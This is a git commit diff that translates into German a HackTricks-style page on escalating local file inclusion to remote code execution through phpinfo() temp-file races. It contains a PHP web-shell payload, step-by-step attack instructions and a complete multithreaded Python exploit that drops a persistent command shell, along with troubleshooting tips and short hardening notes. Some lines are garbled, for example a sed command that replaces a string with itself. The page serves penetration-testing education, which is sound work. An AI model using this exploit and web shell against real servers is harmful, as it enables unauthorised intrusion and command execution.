Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']

This commit is contained in:
Translator 2025-09-30 00:51:14 +00:00
parent f66a085a88
commit 565dcf1721

View File

@ -1,55 +1,160 @@
# LFI to RCE via PHPInfo
{{#include ../../banners/hacktricks-training.md}}
Um diese Schwachstelle auszunutzen, benötigen Sie: **Eine LFI-Schwachstelle, eine Seite, auf der phpinfo() angezeigt wird, "file_uploads = on" und der Server muss in das Verzeichnis "/tmp" schreiben können.**
Um diese Technik auszunutzen benötigen Sie alle folgenden Voraussetzungen:
- Eine erreichbare Seite, die phpinfo() ausgibt.
- Eine Local File Inclusion (LFI)-Primitive, die Sie kontrollieren (z. B. include/require auf Benutzereingabe).
- PHP file uploads aktiviert (file_uploads = On). Jedes PHP-Skript akzeptiert RFC1867 multipart uploads und legt für jeden hochgeladenen Teil eine temporäre Datei an.
- Der PHP-Worker muss in das konfigurierte upload_tmp_dir (oder das default system temp directory) schreiben können und Ihr LFI muss in der Lage sein, diesen Pfad zu include.
[https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
Klassisches Write-up und Original-PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Sie müssen den Exploit anpassen (ändern Sie **=>** in **=>**). Dazu können Sie:
Hinweise zum originalen PoC
- Die phpinfo()-Ausgabe ist HTML-enkodiert, daher erscheint der "=>" Pfeil häufig als "=>". Wenn Sie Legacy-Skripte wiederverwenden, stellen Sie sicher, dass sie nach beiden Encodierungen suchen, wenn sie den _FILES[tmp_name]-Wert parsen.
- Sie müssen das payload (Ihr PHP-Code), REQ1 (die Anfrage an den phpinfo()-Endpunkt inklusive Padding) und LFIREQ (die Anfrage an Ihren LFI-Sink) anpassen. Manche Ziele benötigen keinen Null-Byte (%00)-Terminator und moderne PHP-Versionen respektieren ihn nicht. Passen Sie die LFIREQ entsprechend dem verwundbaren Sink an.
Beispiel sed (nur wenn Sie wirklich das alte Python2 PoC verwenden), um den HTML-enkodierten Pfeil abzugleichen:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
```
Du musst auch die **payload** zu Beginn des Exploits ändern (zum Beispiel für eine php-rev-shell), die **REQ1** (dies sollte auf die phpinfo-Seite zeigen und das Padding enthalten, d.h.: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), und **LFIREQ** (dies sollte auf die LFI-Schwachstelle zeigen, d.h.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Überprüfe das doppelte "%" beim Ausnutzen des Nullzeichens)
{{#file}}
LFI-With-PHPInfo-Assistance.pdf
{{#endfile}}
### Theorie
## Theorie
Wenn Uploads in PHP erlaubt sind und du versuchst, eine Datei hochzuladen, wird diese Datei in einem temporären Verzeichnis gespeichert, bis der Server die Anfrage verarbeitet hat, dann wird diese temporäre Datei gelöscht.
- Wenn PHP ein multipart/form-data POST mit einem file field erhält, schreibt es den Inhalt in eine temporäre Datei (upload_tmp_dir oder das OS-Default) und macht den Pfad in $_FILES['<field>']['tmp_name'] verfügbar. Die Datei wird automatisch am Ende der Request entfernt, es sei denn, sie wurde verschoben/umbenannt.
- Der Trick besteht darin, den temporären Namen zu ermitteln und ihn via LFI einzubinden, bevor PHP ihn entfernt. phpinfo() druckt $_FILES, einschließlich tmp_name.
- Indem man Request-Header/Parameter aufbläht (padding), kann man bewirken, dass frühe Teile der phpinfo()-Ausgabe an den Client geflusht werden, bevor die Request beendet ist, sodass man tmp_name lesen kann, während die Temp-Datei noch existiert, und dann sofort das LFI mit diesem Pfad ansteuert.
Wenn du also eine LFI-Schwachstelle im Webserver gefunden hast, kannst du versuchen, den Namen der erstellten temporären Datei zu erraten und eine RCE auszunutzen, indem du auf die temporäre Datei zugreifst, bevor sie gelöscht wird.
Unter Windows liegen die Temp-Dateien üblicherweise unter so etwas wie C:\\Windows\\Temp\\php*.tmp. Unter Linux/Unix befinden sie sich normalerweise in /tmp oder in dem in upload_tmp_dir konfigurierten Verzeichnis.
In **Windows** werden die Dateien normalerweise in **C:\Windows\temp\php** gespeichert.
## Angriffsvorgehen (Schritt für Schritt)
In **Linux** war der Name der Datei **zufällig** und befand sich in **/tmp**. Da der Name zufällig ist, ist es notwendig, **den Namen der temporären Datei irgendwo zu extrahieren** und darauf zuzugreifen, bevor sie gelöscht wird. Dies kann erreicht werden, indem der Wert der **Variable $\_FILES** im Inhalt der Funktion "**phpconfig()**" gelesen wird.
**phpinfo()**
**PHP** verwendet einen Puffer von **4096B** und wenn er **voll** ist, wird er **an den Client gesendet**. Dann kann der Client **eine Menge großer Anfragen senden** (unter Verwendung großer Header), **eine php** Reverse **Shell hochladen**, auf die **erste Rückgabe von phpinfo() warten** (wo der Name der temporären Datei steht) und versuchen, **auf die temporäre Datei zuzugreifen**, bevor der PHP-Server die Datei löscht, indem er eine LFI-Schwachstelle ausnutzt.
**Python-Skript, um zu versuchen, den Namen zu bruteforcen (wenn die Länge = 6)**
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
1) Bereite ein kleines PHP payload vor, das schnell eine shell persistiert, um das Race nicht zu verlieren (das Schreiben einer Datei ist in der Regel schneller als das Warten auf eine reverse shell):
```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) Sende ein großes multipart POST direkt an die phpinfo()-Seite, sodass eine Temp-Datei mit deinem payload erstellt wird. Blase verschiedene headers/cookies/params mit ~510KB Padding auf, um frühe Ausgabe zu begünstigen. Stelle sicher, dass der Formularfeldname mit dem übereinstimmt, was du in $_FILES parsen wirst.
3) Während die phpinfo()-Antwort noch gestreamt wird, parse den partiellen Body, um $_FILES['<field>']['tmp_name'] (HTML-kodiert) zu extrahieren. Sobald du den vollständigen absoluten Pfad hast (z. B. /tmp/php3Fz9aB), löse dein LFI aus, um diesen Pfad zu includen. Wenn include() die Temp-Datei ausführt, bevor sie gelöscht wird, läuft dein payload und legt /tmp/.p.php ab.
4) Nutze die abgelegte Datei: GET /vuln.php?include=/tmp/.p.php&x=id (oder wo immer dein LFI das Einbinden erlaubt), um Befehle zuverlässig auszuführen.
> Tipps
> - Verwende mehrere parallele Worker, um deine Chancen zu erhöhen, das Rennen zu gewinnen.
> - Padding-Platzierungen, die häufig helfen: URL-Parameter, Cookie, User-Agent, Accept-Language, Pragma. Auf Ziel anpassen.
> - Wenn die verwundbare Sink eine Erweiterung anhängt (z. B. .php), brauchst du kein null byte; include() führt PHP unabhängig von der Temp-Dateiendung aus.
## Minimal Python 3 PoC (socket-based)
Der untenstehende Ausschnitt konzentriert sich auf die kritischen Teile und ist leichter anzupassen als das alte Python2-Skript. Passe HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), und PAYLOAD an.
```python
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## Fehlerbehebung
- You never see tmp_name: Ensure you really POST multipart/form-data to phpinfo(). phpinfo() prints $_FILES only when an upload field was present.
- Output doesnt flush early: Increase padding, add more large headers, or send multiple concurrent requests. Some SAPIs/buffers wont flush until larger thresholds; adjust accordingly.
- LFI path blocked by open_basedir or chroot: You must point the LFI to an allowed path or switch to a different LFI2RCE vector.
- Temp directory not /tmp: phpinfo() prints the full absolute tmp_name path; use that exact path in the LFI.
## Absicherungshinweise
- Never expose phpinfo() in production. If needed, restrict by IP/auth and remove after use.
- Keep file_uploads disabled if not required. Otherwise, restrict upload_tmp_dir to a path not reachable by include() in the application and enforce strict validation on any include/require paths.
- Treat any LFI as critical; even without phpinfo(), other LFI→RCE paths exist.
## Verwandte HackTricks-Techniken
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## Referenzen
- LFI With PHPInfo() Assistance whitepaper (2011) Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}}